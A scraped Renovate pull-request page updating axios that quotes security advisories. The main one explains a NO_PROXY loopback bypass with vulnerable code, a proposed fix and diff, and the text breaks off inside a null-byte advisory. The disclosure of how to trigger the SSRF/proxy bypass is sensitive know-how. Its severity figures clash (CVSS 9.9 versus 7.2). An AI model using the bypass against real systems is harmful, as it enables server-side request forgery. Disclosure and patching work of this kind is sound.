A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.

4.4 Comparison with Original Vulnerability

Internal Service Type	Exposed Data	Exposed Data
Attack method	Use localhost. or [::1]	Use any 127.x.x.x ≠ 127.0.0.1
Patch status	Fixed in 1.15.0	Not fixed in 1.15.0
CVSS score	9.3 Critical	9.9 Critical or (equivalent)
Attacker effort	Trivial	Trivial
Detection by developer	None	None
Impact	SSRF / proxy bypass	SSRF / proxy bypass (identical)

The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.

5. Technical Remediation & Proposed Fix

5.1 Vulnerable Code Block

The vulnerability resides in lib/helpers/shouldBypassProxy.js at lines 1–3. The following is the exact code extracted from Axios 1.15.0:

// lib/helpers/shouldBypassProxy.js — Axios 1.15.0
// Lines 1–3 (VULNERABLE)
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);

This hardcoded Set is subsequently used at line 108 during the final NO_PROXY match evaluation:

// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE)
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
//                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// isLoopback("127.0.0.2") → LOOPBACK_ADDRESSES.has("127.0.0.2") → FALSE
// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1

Why this is dangerous: The Set performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns false, causing shouldBypassProxy() to return false and silently route the request through the configured proxy.

5.2 Proposed Patched Code
Replace lines 1–3 in lib/helpers/shouldBypassProxy.js with the following RFC-compliant implementation:

// lib/helpers/shouldBypassProxy.js
// Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant)
const isLoopback = (host) => {
  // Named loopback hostname
  if (host === 'localhost') return true;
  // IPv6 loopback address
  if (host === '::1') return true;
  // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3)
  // Matches any address from 127.0.0.0 through 127.255.255.254
  const parts = host.split('.');
  return (
    parts.length === 4 &&
    parts[0] === '127' &&
    parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
  );
};

5.3 Diff View — Before vs After

// lib/helpers/shouldBypassProxy.js
- const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
-
- const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
+ const isLoopback = (host) => {
+   if (host === 'localhost') return true;
+   if (host === '::1') return true;
+   const parts = host.split('.');
+   return (
+     parts.length === 4 &&
+     parts[0] === '127' &&
+     parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255)
+   );
+ };

All other code in shouldBypassProxy.js remains unchanged. No other files require modification.

5.4 Why This Fix Must Be Applied

Reason 1 — RFC 1122 Compliance

The current implementation violates RFC 1122 §3.2.1.3, which defines the entire 127.0.0.0/8 block as the IPv4 loopback address range not just the single address 127.0.0.1. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.

RFC 1122 §3.2.1.3:
"The address 127.0.0.0/8 is assigned for loopback.
 A datagram sent by a higher-level protocol to a loopback
 address MUST NOT appear on any network."
Current fix covers  :  3 addresses (localhost, 127.0.0.1, ::1)
Proposed fix covers :  16,777,216 addresses (entire 127.0.0.0/8 + loopback names)

Reason 2 — The Existing Patch Has Already Failed Once

The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting 127.0.0.1 with any other address in the 127.0.0.0/8 range. Leaving this gap unaddressed means that the patch creates a false sense of security developers believe their loopback traffic is protected when it is not.

Reason 3 — Real Operating System Behaviour
On Linux the dominant platform for Node.js server deployments the kernel routes the entire 127.0.0.0/8 subnet to the loopback interface lo by default. This means any address in that range functions identically to 127.0.0.1 at the networking level.


##### Linux routing table — default configuration
$ ip route show table local | grep "127"
local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1

##### Proof: 127.0.0.2 is a valid loopback address on Linux
$ ping -c 1 127.0.0.2
PING 127.0.0.2: 56 data bytes
64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms

Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.

Reason 4 — The Proposed Fix Has Zero Performance Impact
The existing solution uses a Set.has() lookup an O(1) operation. The proposed fix replaces this with:

Two direct string comparisons ('localhost', '::1') — O(1)
A split('.') and array validation — O(1) with a fixed-length array of 4 elements
The computational cost is equivalent or lower than the current approach, and the fix introduces no new external dependencies.

Reason 5 — The Fix Is Minimal and Surgical
The proposed change modifies only 3 lines of a single file. It does not alter:

The parseNoProxyEntry() function
The normalizeNoProxyHost() function
The shouldBypassProxy() main function logic
Any other file in the codebase

This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.

Reason 6 — Resilient to Alternative IP Encodings
Because Axios normalises the request URL using Node's native new URL() parser before passing it to shouldBypassProxy(), alternative IP encodings (such as octal 0177.0.0.1, hex 0x7f.0.0.1, or integer 2130706433) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed .split('.') validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.

5.5 Additional Recommendation — IPv6 Loopback Range

While the primary bypass demonstrated in this report targets the IPv4 127.0.0.0/8 range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only ::1. A more complete check would also handle the full-form notation:

// Additional IPv6 loopback representations to consider:
'0:0:0:0:0:0:0:1'      // Full notation of ::1
'::ffff:127.0.0.1'     // IPv4-mapped IPv6 loopback
'::ffff:7f00:1'        // Hex IPv4-mapped IPv6 loopback

Normalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.

Severity

CVSS Score: 7.2 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

CVE-2026-42040 / GHSA-xhjh-pmcv-23jw

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21

CWE

CWE-626: Null Byte Interaction Error (Poison Null Byte)
CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	Attacker controls input parameters remotely
Attack Complexity	High	Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact limited to HTTP request URL
Confidentiality	None	No confidentiality impact
Integrity	Low	Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream pa

✂ Note

PR body was truncated to here.

renovate Bot changed the title ~~Update dependency axios to v1 [SECURITY]~~ Update dependency axios to v1 [SECURITY] - autoclosed Feb 12, 2024

renovate Bot closed this Feb 12, 2024

renovate Bot deleted the renovate/npm-axios-vulnerability branch February 12, 2024 18:48

renovate Bot restored the renovate/npm-axios-vulnerability branch February 12, 2024 23:08

renovate Bot changed the title ~~Update dependency axios to v1 [SECURITY] - autoclosed~~ Update dependency axios to v1 [SECURITY] Feb 12, 2024

renovate Bot reopened this Feb 12, 2024

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 11a1b5e to 01f5ceb Compare February 12, 2024 23:09

renovate Bot changed the title ~~Update dependency axios to v1 [SECURITY]~~ Update dependency axios to v1 [SECURITY] - autoclosed Feb 20, 2024

renovate Bot closed this Feb 20, 2024

renovate Bot deleted the renovate/npm-axios-vulnerability branch February 20, 2024 21:49

renovate Bot changed the title ~~Update dependency axios to v1 [SECURITY] - autoclosed~~ Update dependency axios to v1 [SECURITY] Feb 22, 2024

renovate Bot reopened this Feb 22, 2024

renovate Bot restored the renovate/npm-axios-vulnerability branch February 22, 2024 04:17

renovate Bot changed the title ~~Update dependency axios to v1 [SECURITY]~~ Update dependency axios to ^0.28.0 [SECURITY] Feb 22, 2024

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 01f5ceb to 2d89a98 Compare February 22, 2024 04:17

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 2d89a98 to adb13ff Compare March 7, 2025 23:05

renovate Bot changed the title ~~Update dependency axios to ^0.28.0 [SECURITY]~~ Update dependency axios to v1 [SECURITY] Mar 7, 2025

renovate Bot changed the title ~~Update dependency axios to v1 [SECURITY]~~ Update dependency axios to ^0.28.0 [SECURITY] Mar 28, 2025

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from adb13ff to 24d2734 Compare March 28, 2025 16:07

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 24d2734 to 2840435 Compare August 10, 2025 14:13

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 2840435 to 28aaef2 Compare September 13, 2025 21:50

renovate Bot changed the title ~~Update dependency axios to ^0.28.0 [SECURITY]~~ Update dependency axios to v1 [SECURITY] Sep 13, 2025

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 28aaef2 to 83605c6 Compare September 25, 2025 21:04

renovate Bot changed the title ~~Update dependency axios to v1 [SECURITY]~~ Update dependency axios to ^0.28.0 [SECURITY] Sep 29, 2025

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from a37cefe to 950bb24 Compare September 30, 2025 00:35

renovate Bot changed the title ~~Update dependency axios to ^0.28.0 [SECURITY]~~ Update dependency axios to ^0.30.0 [SECURITY] Sep 30, 2025

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 950bb24 to 8f890fe Compare October 21, 2025 10:41

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 8f890fe to ff42a94 Compare November 18, 2025 22:30

renovate Bot changed the title ~~Update dependency axios to ^0.30.0 [SECURITY]~~ Update dependency axios to ^0.28.0 [SECURITY] Jan 16, 2026

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from ff42a94 to c3b1243 Compare January 16, 2026 18:46

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from c3b1243 to f6c7dd1 Compare February 10, 2026 04:27

renovate Bot changed the title ~~Update dependency axios to ^0.28.0 [SECURITY]~~ Update dependency axios to v1 [SECURITY] Feb 10, 2026

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from f6c7dd1 to 0a1fb51 Compare February 18, 2026 17:55

renovate Bot changed the title ~~Update dependency axios to v1 [SECURITY]~~ Update dependency axios to ^0.28.0 [SECURITY] Feb 18, 2026

renovate Bot changed the title ~~Update dependency axios to ^0.28.0 [SECURITY]~~ Update dependency axios to ^0.30.0 [SECURITY] Feb 19, 2026

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from 0a1fb51 to c21d464 Compare February 19, 2026 22:32

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from c21d464 to addd5e0 Compare April 9, 2026 11:33

renovate Bot changed the title ~~Update dependency axios to ^0.30.0 [SECURITY]~~ Update dependency axios to v1 [SECURITY] Apr 9, 2026

renovate Bot changed the title ~~Update dependency axios to v1 [SECURITY]~~ Update dependency axios to ^0.31.0 [SECURITY] Apr 16, 2026

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from addd5e0 to 3a647c9 Compare April 16, 2026 09:34

renovate Bot changed the title ~~Update dependency axios to ^0.31.0 [SECURITY]~~ Update dependency axios to ^0.31.0 [SECURITY] - autoclosed Apr 27, 2026

renovate Bot closed this Apr 27, 2026

renovate Bot deleted the renovate/npm-axios-vulnerability branch April 27, 2026 18:54

Update dependency axios to ^0.31.0 [SECURITY]

f51fa14

renovate Bot changed the title ~~Update dependency axios to ^0.31.0 [SECURITY] - autoclosed~~ Update dependency axios to ^0.31.0 [SECURITY] Apr 27, 2026

renovate Bot reopened this Apr 27, 2026

renovate Bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 3a647c9 to f51fa14 Compare April 27, 2026 22:55

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Update dependency axios to ^0.31.0 [SECURITY]#11

Update dependency axios to ^0.31.0 [SECURITY]#11
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-axios-vulnerability

renovate Bot commented Nov 11, 2023 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate Bot commented Nov 11, 2023 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Axios Cross-Site Request Forgery Vulnerability

Details

Severity

References

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

Details

Denial of Service via proto Key in mergeConfig

Summary

Details

PoC

Impact

Severity

References

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

Usage of "Helper" Vulnerabilities

Proof of Concept

1. The Setup (Simulated Pollution)

2. The Gadget Trigger (Safe Code)

3. The Execution

4. The Impact (IMDSv2 Bypass)

Impact Analysis

Recommended Fix

References

Severity

References

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

Details

Severity

References

Axios: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

Details

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy

Summary

CWE

CVSS 3.1

Usage of "Helper" Vulnerabilities

Why validateStatus Is Uniquely Vulnerable

Proof of Concept

1. The Setup (Simulated Pollution)

2. The Gadget Trigger (Safe Code)

3. The Execution

4. The Impact

Verified PoC Output

Impact Analysis

Recommended Fix

Resources

Timeline

Severity

References

Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0

Details

Severity

References

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

CWE

CVSS 3.1

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

renovate Bot commented Nov 11, 2023 •

edited

Loading

Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy

Why `validateStatus` Is Uniquely Vulnerable